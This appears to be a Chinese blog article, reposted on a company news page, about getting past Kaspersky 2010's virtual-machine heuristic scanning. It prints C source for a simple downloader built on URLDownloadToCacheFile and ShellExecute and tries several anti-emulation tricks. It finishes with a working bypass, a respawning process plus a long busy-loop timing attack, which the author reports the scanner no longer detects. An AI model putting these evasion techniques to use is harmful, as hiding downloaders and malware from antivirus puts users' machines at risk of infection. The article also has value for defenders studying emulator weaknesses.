新聞中心
據(jù)我了解在卡巴7中就有虛擬啟發(fā)式查毒的功能。國(guó)內(nèi)就有人在BLOG上發(fā)表了一篇如何突破卡巴7的虛擬機(jī)啟發(fā)式查毒的文章[1]??ò?和最新的卡巴2010中仍然具有該功能。卡巴斯基不用我多說了,大家都知道。我最近在網(wǎng)上查到有人說卡巴斯基是俄羅斯國(guó)家科學(xué)院合作開發(fā)的,軍方和克里姆林宮專用。這個(gè)我還真的不清楚了,請(qǐng)?jiān)徫业臒o知。我先來說下什么是虛擬機(jī)啟發(fā)式殺毒。

我認(rèn)為在這里的虛擬機(jī)啟發(fā)式殺毒應(yīng)該可以理解為在虛擬機(jī)中執(zhí)行和啟發(fā)式殺毒。虛擬機(jī)即構(gòu)造一個(gè)虛擬執(zhí)行環(huán)境或者說一個(gè)仿真的環(huán)境,將病毒等惡意代碼在該仿真的環(huán)境中運(yùn)行實(shí)現(xiàn)自己脫殼等等。該仿真的環(huán)境和用戶計(jì)算機(jī)的真實(shí)環(huán)境是隔離的。
舉個(gè)例子:現(xiàn)在的惡意代碼都采用加殼為自己提供保護(hù),尤其是一些已知病毒的變種。當(dāng)采用虛擬機(jī)執(zhí)行技術(shù)加殼保護(hù)的惡意代碼仍能被殺毒軟件檢測(cè)到,有能力的讀者可以自己實(shí)驗(yàn)一下。
啟發(fā)式指的是自我發(fā)現(xiàn)并推斷或判定事物的方式。啟發(fā)式殺毒通過分析程序指令的序列或者API函數(shù)的調(diào)用順序以及其他惡意代碼與正常程序的不同等經(jīng)驗(yàn)和知識(shí)的組合來判定是否是惡意代碼。這樣的啟發(fā)式殺毒具備某種人工智能特點(diǎn)。它的優(yōu)點(diǎn)不用我多說廢話,舉個(gè)例子:Downloader相信大家都知道,最重要的兩個(gè)API是URLDownloadToFile和ShellExecute(也可以是其他執(zhí)行一個(gè)程序的API)。例如,在使用虛擬機(jī)啟發(fā)式殺毒時(shí),當(dāng)被查毒程序的API調(diào)用序列中出現(xiàn)URLDownloadToFile或者ShellExecute,又或者不是按照先URLDownloadToFile后ShellExecute的調(diào)用順序是不會(huì)被報(bào)Downloader的。
可以說由于主動(dòng)防御技術(shù)的種種缺點(diǎn),現(xiàn)在各殺毒軟件廠商已經(jīng)將虛擬機(jī)殺毒和啟發(fā)式殺毒作為殺毒業(yè)界的追求和探索的目標(biāo)??梢灶A(yù)見到在未來幾年內(nèi)殺毒軟件將不再會(huì)出現(xiàn)當(dāng)正常使用系統(tǒng)和軟件時(shí)頻繁彈出主動(dòng)防御窗口的尷尬。接下來將通過上面提到的Downloader例子分析下卡巴的虛擬機(jī)啟發(fā)式查毒的特點(diǎn),并在最后給出一種可能的繞過方法和演示代碼,供各位看官賞玩。
我假設(shè)您已經(jīng)知道什么是Downloader,一個(gè)最簡(jiǎn)單的Downloader是:
#include "stdafx.h"
#include
#include
#pragma comment (lib,"Urlmon.lib")
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return 0;
}
這個(gè)程序是使用Visual Studio 2008創(chuàng)建的Win32窗口工程。編譯后卡巴2010直接報(bào)Downloader。首先使用了之前提到的xyzreg提到的方法,現(xiàn)在在卡巴2010下已經(jīng)不適用,簡(jiǎn)單的測(cè)試了一下卡巴2010會(huì)把自己模擬成explorer.exe。所以檢查父進(jìn)程是否是explorer.exe的方法不行了,但是如果檢查自己的父進(jìn)程是否是cmd.exe就可以了。當(dāng)然這個(gè)實(shí)用性并不強(qiáng),因?yàn)橐驞ownloader必須由cmd.exe啟動(dòng)。
我覺得應(yīng)該有其他的方法可以逃過虛擬查毒,但是這里只從虛擬查毒本身入手。首先想到的是這個(gè)虛擬機(jī)和真實(shí)環(huán)境是否有區(qū)別?這個(gè)回答當(dāng)然是肯定的。但是這些區(qū)別在哪里,這些區(qū)別是否會(huì)影響到。是否存在一種情況虛擬機(jī)無法虛擬而導(dǎo)致虛擬環(huán)境下無法執(zhí)行到URLDownloadToCacheFile和ShellExecute那就不會(huì)檢查到是Downloader了。這個(gè)思想很簡(jiǎn)單,然后要怎么實(shí)現(xiàn)呢。
首先想到虛擬機(jī)是否虛擬了異常處理,如果沒有虛擬異常處理,那我們認(rèn)為的制造一個(gè)異常,將具有Downloader特性的API調(diào)要放到異常處理程序中不就繞過了嗎。于是有了下面的代碼:
BOOL SafeDiv(INT32 dividend, INT32 divisor, INT32 *pResult)
{
__try
{
*pResult = dividend / divisor;
}
__except(GetExceptionCode() == EXCEPTION_INT_DIVIDE_BY_ZERO ?
EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
{
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return TRUE;
}
return TRUE;
}
在Downloader的程序入口以參數(shù)divisor為0調(diào)用這個(gè)SafeDiv函數(shù),。這樣就會(huì)產(chǎn)生一個(gè)除0的錯(cuò)誤。結(jié)果是卡巴報(bào)Downloader!看樣子卡巴有對(duì)異常處理虛擬的能力。
恩。。。如果我在代碼中添加int 3中斷會(huì)發(fā)生什么情況呢?應(yīng)該也虛擬了?,F(xiàn)在就來試試,果然在Downloader入口添加int 3后當(dāng)然是查不出來了,呵呵,程序也運(yùn)行不了了。接下來就看看能不能找到方法讓程序在真實(shí)情況下能運(yùn)行在,虛擬機(jī)下停住了。沒有多久想了一個(gè)替代的方法,判斷程序的輸入?yún)?shù)。通過檢查程序的輸入?yún)?shù)來控制程序的執(zhí)行流程。簡(jiǎn)單的在Downloader入口添加判斷程序參數(shù)的代碼:
if(strcmp(argv[1],"1")!== 0)
return;
程序運(yùn)行時(shí)輸入?yún)?shù)“1”程序執(zhí)行Downloader的功能,在虛擬機(jī)中執(zhí)行時(shí)沒有參數(shù)輸入所以程序返回,檢測(cè)不到惡意函數(shù)調(diào)用順序。當(dāng)然這樣的惡意代碼是丑陋的,所以我想到使用CreateProcess來啟動(dòng)Downloader自己的另一個(gè)實(shí)例。代碼如下:
部分變量聲明和初始化代碼省略。。。
INT32 divisor = 1;
if(argc == 1)
{
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
CreateProcess(szPath,L"1 2",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
ExitProcess(0);
return;
}
if(strcmp(argv[1],"2") == 0)
divisor = 0;
SafeDiv(10,divisor,&Result);
ExitProcess(0);
return;
}
編譯成功后,使用卡巴2010查毒。報(bào)Downloader!失望??!將對(duì)函數(shù)參數(shù)檢查的方式換成使用“命名對(duì)象”的方式:
//定義一個(gè)“命名對(duì)象”
TCHAR szMutex[] = L”11111”;
HANDLE hEvent = CreateEvent(NULL,NULL,NULL,szMutex);
int tmp = GetLastError();
if(tmp == 0)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
return 0;
}
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return 0;
報(bào)Downloader!失望!看樣子卡巴的虛擬機(jī)對(duì)API的模擬和程序執(zhí)行的流程虛擬很到位!不知道對(duì)時(shí)間的虛擬的怎么樣?代碼中有Sleep(10000000)的語句會(huì)不會(huì)影響虛擬查毒的時(shí)間呢?根據(jù)我的實(shí)驗(yàn)在其中加入Sleep函數(shù)睡眠很長(zhǎng)的一段時(shí)間并沒有影響虛擬殺毒查出Downloader的時(shí)間,所以估計(jì)對(duì)時(shí)間的虛擬可能不好。將上面的代碼中在CreateProcess調(diào)用之后調(diào)用Sleep睡眠一段較長(zhǎng)的時(shí)間如5秒,然后調(diào)用CloseHandle關(guān)閉“命名事件”。
如果卡巴遇到Sleep函數(shù)簡(jiǎn)單的跳過,則在虛擬機(jī)中執(zhí)行的順序?qū)⑹窍葓?zhí)行Sleep后的CloseHandle關(guān)閉事件,然后再進(jìn)入到新實(shí)例中創(chuàng)建“命名事件”,在這種情況下就能創(chuàng)建成功,所以程序的執(zhí)行流程不會(huì)進(jìn)入到URLDownloadToCacheFile處,以此繞過檢測(cè)。但是實(shí)際情況時(shí)仍然被報(bào)Downloader,說明卡巴2010對(duì)Sleep等時(shí)間相關(guān)的函數(shù)虛擬的也很好。
到這里停下來想想,我們已經(jīng)掌握了卡巴虛擬機(jī)執(zhí)行的許多特性了,最理想的方案是在上述方法中進(jìn)行改進(jìn),能達(dá)到對(duì)卡巴虛擬機(jī)執(zhí)行的時(shí)間方面的攻擊。于是想到使用大量無意義的代碼塊來模擬Sleep函數(shù)的功能,原因是對(duì)于大量循環(huán)的無意義操作卡巴是否完全虛擬其執(zhí)行,我想應(yīng)該是沒有的。于是代碼變?yōu)椋?/p>
#include "stdafx.h"
#include
#include
#include
#pragma comment (lib,"Urlmon.lib")
// Global Variables:
HINSTANCE hInst; // current instance
// Forward declarations of functions included in this code module:
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
TCHAR szMutex[] = L"1111";
HANDLE hEvnet = CreateEvent(NULL,NULL,NULL,szMutex);
int tmp = GetLastError();
if(tmp == 0)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
CreateProcess(szPath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
for(int i = 0;i < 1000000000; i++)
__nop();
CloseHandle(hEvnet);
return 0;
}
TCHAR szFileName[MAX_PATH] = {0};
URLDownloadToCacheFile(NULL,L"file://c:\\windows\\notepad.exe",szFileName,MAX_PATH,0,NULL);
ShellExecute(0,L"open",szFileName,NULL,NULL,SW_SHOW);
return 0;
}
編譯。對(duì)該文件執(zhí)行查毒,沒有檢測(cè)到威脅。成功了。總的說來,卡巴的虛擬機(jī)沒有真正的像真實(shí)環(huán)境一樣對(duì)像。
for(int i = 0;i < 1000000000; i++)
__nop();
這樣的語句塊進(jìn)行真正的執(zhí)行,導(dǎo)致虛擬機(jī)的時(shí)間和真實(shí)環(huán)境下的時(shí)間不一致導(dǎo)致在虛擬機(jī)中和真實(shí)環(huán)境下的執(zhí)行流程的不一樣。這樣就實(shí)現(xiàn)了對(duì)卡巴虛擬查毒的繞過??偟恼f來,卡巴斯基是一個(gè)很強(qiáng)大的殺毒軟件,殺毒能力確實(shí)也比較強(qiáng),但是也不應(yīng)該過分相信卡巴。有人
說的好,要讓人正確認(rèn)識(shí)卡巴斯基這個(gè)優(yōu)秀的殺毒軟件。
另外,本文的基于超時(shí)的攻擊思路和這篇2年前的文章[2]頗有一番異曲同工之妙,而”Timing Attack”在Google Scholar上的搜索結(jié)果有1,110,000[3]條!希望通過本文,能夠讓各位看官重新認(rèn)識(shí)Timing Attack的奇妙之處。
最后,嚴(yán)重的感謝一下c4pr1c3的幫助和關(guān)懷。
文章題目:卡巴2010虛擬機(jī)啟發(fā)式查毒的繞過方法
分享地址:http://fisionsoft.com.cn/article/dpdijop.html


咨詢
建站咨詢
